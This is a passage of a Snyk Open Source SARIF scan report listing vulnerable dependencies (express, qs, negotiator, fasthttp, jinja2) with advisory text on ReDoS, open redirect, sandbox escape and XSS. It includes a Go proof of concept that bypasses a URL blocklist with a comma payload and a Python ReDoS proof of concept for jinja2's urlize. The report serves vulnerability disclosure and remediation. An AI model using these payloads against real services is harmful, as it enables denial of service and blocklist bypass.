'/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `negotiator` to version 0.6.1 or higher.\n\n\n# References\n\n- [GitHub Commit](https://github.com/jshttp/negotiator/commit/26a05ec15cf7d1fa56000d66ebe9c9a1a62cb75c)\n\n- [OWASP Advisory](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - } - ] - } - }, - "automationDetails": { - "id": "Snyk/Open Source/package.json/2025-11-13T12:34:30.244Z" - }, - "results": [ - { - "ruleId": "SNYK-JS-COOKIE-8163060", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable cookie package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "cookie@0.1.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.21.1" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.21.1" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-EXPRESS-6474509", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable express package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "express@4.0.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.19.2" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.19.2" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-EXPRESS-7926867", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable express package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "express@4.0.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:express:20140912", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable express package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "express@4.0.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.5.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.5.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-PATHTOREGEXP-7925106", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable path-to-regexp package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "path-to-regexp@0.1.2" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-PATHTOREGEXP-8482416", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable path-to-regexp package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "path-to-regexp@0.1.2" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.21.2" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.21.2" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-QS-3153490", - "level": "error", - "message": { - "text": "This file introduces a vulnerable qs package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.17.3" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.17.3" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:qs:20140806", - "level": "error", - "message": { - "text": "This file introduces a vulnerable qs package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.8.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.8.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:qs:20140806-1", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable qs package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.8.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.8.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:qs:20170213", - "level": "error", - "message": { - "text": "This file introduces a vulnerable qs package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "qs@0.6.6" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.15.2" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.15.2" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-SEND-7926862", - "level": "note", - "message": { - "text": "This file introduces a vulnerable send package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "send@0.2.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:send:20140912", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable send package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "send@0.2.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.8.8" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.8.8" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:send:20151103", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable send package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "send@0.2.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.11.1" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.11.1" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "SNYK-JS-SERVESTATIC-7926865", - "level": "note", - "message": { - "text": "This file introduces a vulnerable serve-static package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "serve-static@1.0.1" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.20.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.20.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:serve-static:20150113", - "level": "note", - "message": { - "text": "This file introduces a vulnerable serve-static package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "serve-static@1.0.1" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.9.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.9.0" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:cookie-signature:20160804", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable cookie-signature package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "cookie-signature@1.0.3" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.4.5" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.4.5" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:fresh:20170908", - "level": "error", - "message": { - "text": "This file introduces a vulnerable fresh package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "fresh@0.2.2" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.15.5" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.15.5" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:mime:20170907", - "level": "note", - "message": { - "text": "This file introduces a vulnerable mime package with a low severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "mime@1.2.11" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.4.4" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.4.4" - } - } - ] - } - ] - } - ] - }, - { - "ruleId": "npm:negotiator:20160616", - "level": "error", - "message": { - "text": "This file introduces a vulnerable negotiator package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "negotiator@0.3.0" - } - ] - } - ], - "fixes": [ - { - "description": { - "text": "Upgrade to express@4.14.0" - }, - "artifactChanges": [ - { - "artifactLocation": { - "uri": "ghost/package.json" - }, - "replacements": [ - { - "deletedRegion": { - "startLine": 1 - }, - "insertedContent": { - "text": "express@4.14.0" - } - } - ] - } - ] - } - ] - } - ] - }, - { - "tool": { - "driver": { - "name": "Snyk Open Source", - "semanticVersion": "1.1301.0", - "version": "1.1301.0", - "informationUri": "https://docs.snyk.io/", - "properties": { - "artifactsScanned": 29 - }, - "rules": [ - { - "id": "SNYK-GOLANG-GITHUBCOMVALYALAFASTHTTP-6815320", - "shortDescription": { - "text": "Medium severity - Open Redirect vulnerability in github.com/valyala/fasthttp" - }, - "fullDescription": { - "text": "github.com/valyala/fasthttp@1.51.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: gomodules\n* Vulnerable module: github.com/valyala/fasthttp\n* Introduced through: golangproject@0.0.0, github.com/gofiber/fiber/v2@2.52.9 and others\n### Detailed paths\n* _Introduced through_: golangproject@0.0.0 › github.com/gofiber/fiber/v2@2.52.9 › github.com/valyala/fasthttp@1.51.0\n# Overview\n[github.com/valyala/fasthttp](https://pkg.go.dev/github.com/valyala/fasthttp) is a fast HTTP server and client API.\n\nAffected versions of this package are vulnerable to Open Redirect due to improper handling of malformed URLs, allowing attackers to bypass the protections that users have set up for schemes and hosts. An attacker can send a URL involving a `,` to the Validator (e.g., `http://vulndetector.com,/`), bypassing the URL blocklist validation, and keep sending requests to the domain with a blocklisted hostname, leading to SSRF and RCE attacks.\n# PoC\n```\r\npackage main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"github.com/valyala/fasthttp\"\r\n\t\"net/url\"\r\n\t\"strings\"\r\n)\r\n\r\nfunc safeURLOpener(inputLink string) (*fasthttp.Response, error) {\r\n\tblockSchemes := map[string]bool{\r\n\t\t\"file\": true, \"gopher\": true, \"expect\": true,\r\n\t\t\"php\": true, \"dict\": true, \"ftp\": true,\r\n\t\t\"glob\": true, \"data\": true,\r\n\t}\r\n\tblockHost := map[string]bool{\r\n\t\t\"vulndetector.com\": true,\r\n\t}\r\n\r\n\tparsedUrl, err := url.Parse(inputLink)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error parsing URL:\", err)\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\tinputScheme := parsedUrl.Scheme\r\n\tinputHostname := parsedUrl.Hostname()\r\n\r\n\tif blockSchemes[inputScheme] {\r\n\t\tfmt.Println(\"input scheme is forbidden\")\r\n\t\treturn nil, nil\r\n\t}\r\n\r\n\tif blockHost[inputHostname] {\r\n\t\tfmt.Println(\"input hostname is forbidden\")\r\n\t\treturn nil, nil\r\n\t}\r\n\r\n\t// Create request and response objects\r\n\treq := fasthttp.AcquireRequest()\r\n\tresp := fasthttp.AcquireResponse()\r\n\tdefer fasthttp.ReleaseRequest(req) // to reuse requests\r\n\tdefer fasthttp.ReleaseResponse(resp) // to reuse responses\r\n\r\n\treq.SetRequestURI(inputLink)\r\n\terr = fasthttp.Do(req, resp)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"HTTP request failed:\", err)\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\t// Since we need the body outside this function, we create a copy of the response\r\n\tnewResp := &fasthttp.Response{}\r\n\tresp.CopyTo(newResp)\r\n\treturn newResp, nil\r\n}\r\n\r\nfunc verify() {\r\n\tpayload := \"http://vulndetector.com,/\"\r\n\tresult, err := safeURLOpener(payload)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Failed to open URL:\", err)\r\n\t\treturn\r\n\t}\r\n\tif result != nil {\r\n\t\tbodyBytes := result.Body()\r\n\t\tbodyString := string(bodyBytes)\r\n\t\tif result.StatusCode() == 200 && strings.Contains(bodyString, \"FindVuln\") {\r\n\t\t\tfmt.Println(\"payload find! ==>\", payload)\r\n\t\t}\r\n\t}\r\n}\r\n\r\nfunc main() {\r\n\tverify()\r\n}\r\n```\n# Remediation\nUpgrade `github.com/valyala/fasthttp` to version 1.53.0 or higher.\n# References\n- [GitHub Commit](https://github.com/valyala/fasthttp/commit/a8fa9c04b493324b7805dd5c6f8439b1b15a9f92)\n- [GitHub PR](https://github.com/valyala/fasthttp/pull/1761#issuecomment-2100784469)\n" - }, - "properties": { - "tags": ["security", "CWE-601", "gomodules"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - } - ] - } - }, - "automationDetails": { - "id": "Snyk/Open Source/golangproject/2025-11-13T12:34:30.245Z" - }, - "results": [ - { - "ruleId": "SNYK-GOLANG-GITHUBCOMVALYALAFASTHTTP-6815320", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable github.com/valyala/fasthttp package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "golang/go.mod" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "github.com/valyala/fasthttp@1.51.0" - } - ] - } - ] - } - ] - }, - { - "tool": { - "driver": { - "name": "Snyk Open Source", - "semanticVersion": "1.1301.0", - "version": "1.1301.0", - "informationUri": "https://docs.snyk.io/", - "properties": { - "artifactsScanned": 4 - }, - "rules": [] - } - }, - "automationDetails": { - "id": "Snyk/Open Source/demo:maven-demo/2025-11-13T12:34:30.245Z" - }, - "results": [] - }, - { - "tool": { - "driver": { - "name": "Snyk Open Source", - "semanticVersion": "1.1301.0", - "version": "1.1301.0", - "informationUri": "https://docs.snyk.io/", - "properties": { - "artifactsScanned": 7 - }, - "rules": [ - { - "id": "SNYK-PYTHON-JINJA2-1012994", - "shortDescription": { - "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2020-28493) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The ReDoS vulnerability is mainly due to the `_punctuation_re regex` operator and its use of multiple wildcards. The last wildcard is the most exploitable as it searches for trailing punctuation.\r\n\r\nThis issue can be mitigated by using Markdown to format user content instead of the urlize filter, or by implementing request timeouts or limiting process memory.\r\n\r\n## PoC by Yeting Li\r\n```\r\nfrom jinja2.utils import urlize\r\nfrom time import perf_counter\r\n\r\nfor i in range(3):\r\n text = \"abc@\" + \".\" * (i+1)*5000 + \"!\"\r\n LEN = len(text)\r\n BEGIN = perf_counter()\r\n urlize(text)\r\n DURATION = perf_counter() - BEGIN\r\n print(f\"{LEN}: took {DURATION} seconds!\")\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `Jinja2` to version 2.11.3 or higher.\n# References\n- [GitHub Additional Information](https://github.com/pallets/jinja/blob/ab81fd9c277900c85da0c322a2ff9d68a235b2e6/src/jinja2/utils.py#L20)\n- [GitHub PR](https://github.com/pallets/jinja/pull/1343)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "pip"], - "cvssv3_baseScore": 5.3, - "security-severity": "5.3" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-174126", - "shortDescription": { - "text": "Medium severity - Sandbox Escape vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2019-10906) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Sandbox Escape via the `str.format_map`. This vulnerability requires the attacker to have information about sensitive attributes, and exploiting it could allow the attacker to access sensitive content.\r\n\r\n\r\n# Workaround\r\nOverride the `is_safe_attribute` method on the sandbox and explicitly disallow the `format_map` method on string objects.\n# Remediation\nUpgrade `Jinja2` to version 2.10.1 or higher.\n# References\n- [Release Notes](https://palletsprojects.com/blog/jinja-2-10-1-released)\n" - }, - "properties": { - "tags": ["security", "CWE-265", "pip"], - "cvssv3_baseScore": 6.8, - "security-severity": "6.8" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-455616", - "shortDescription": { - "text": "High severity - Sandbox Bypass vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2016-10745) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Sandbox Bypass. Users were allowed to insert `str.format` through web templates, leading to an escape from sandbox.\n# Remediation\nUpgrade `Jinja2` to version 2.8.1 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/9b53045c34e61013dc8f09b7e52a555fa16bed16)\n" - }, - "properties": { - "tags": ["security", "CWE-234", "pip"], - "cvssv3_baseScore": 8.6, - "security-severity": "8.6" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-6150717", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-22195) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `xmlattr` filter, when using keys containing spaces in an application accepts keys as user input. An attacker can inject arbitrary HTML attributes into the rendered HTML template, bypassing the auto-escaping mechanism, which may lead to the execution of untrusted scripts in the context of the user's browser session.\r\n\r\n**Note**\r\nAccepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the 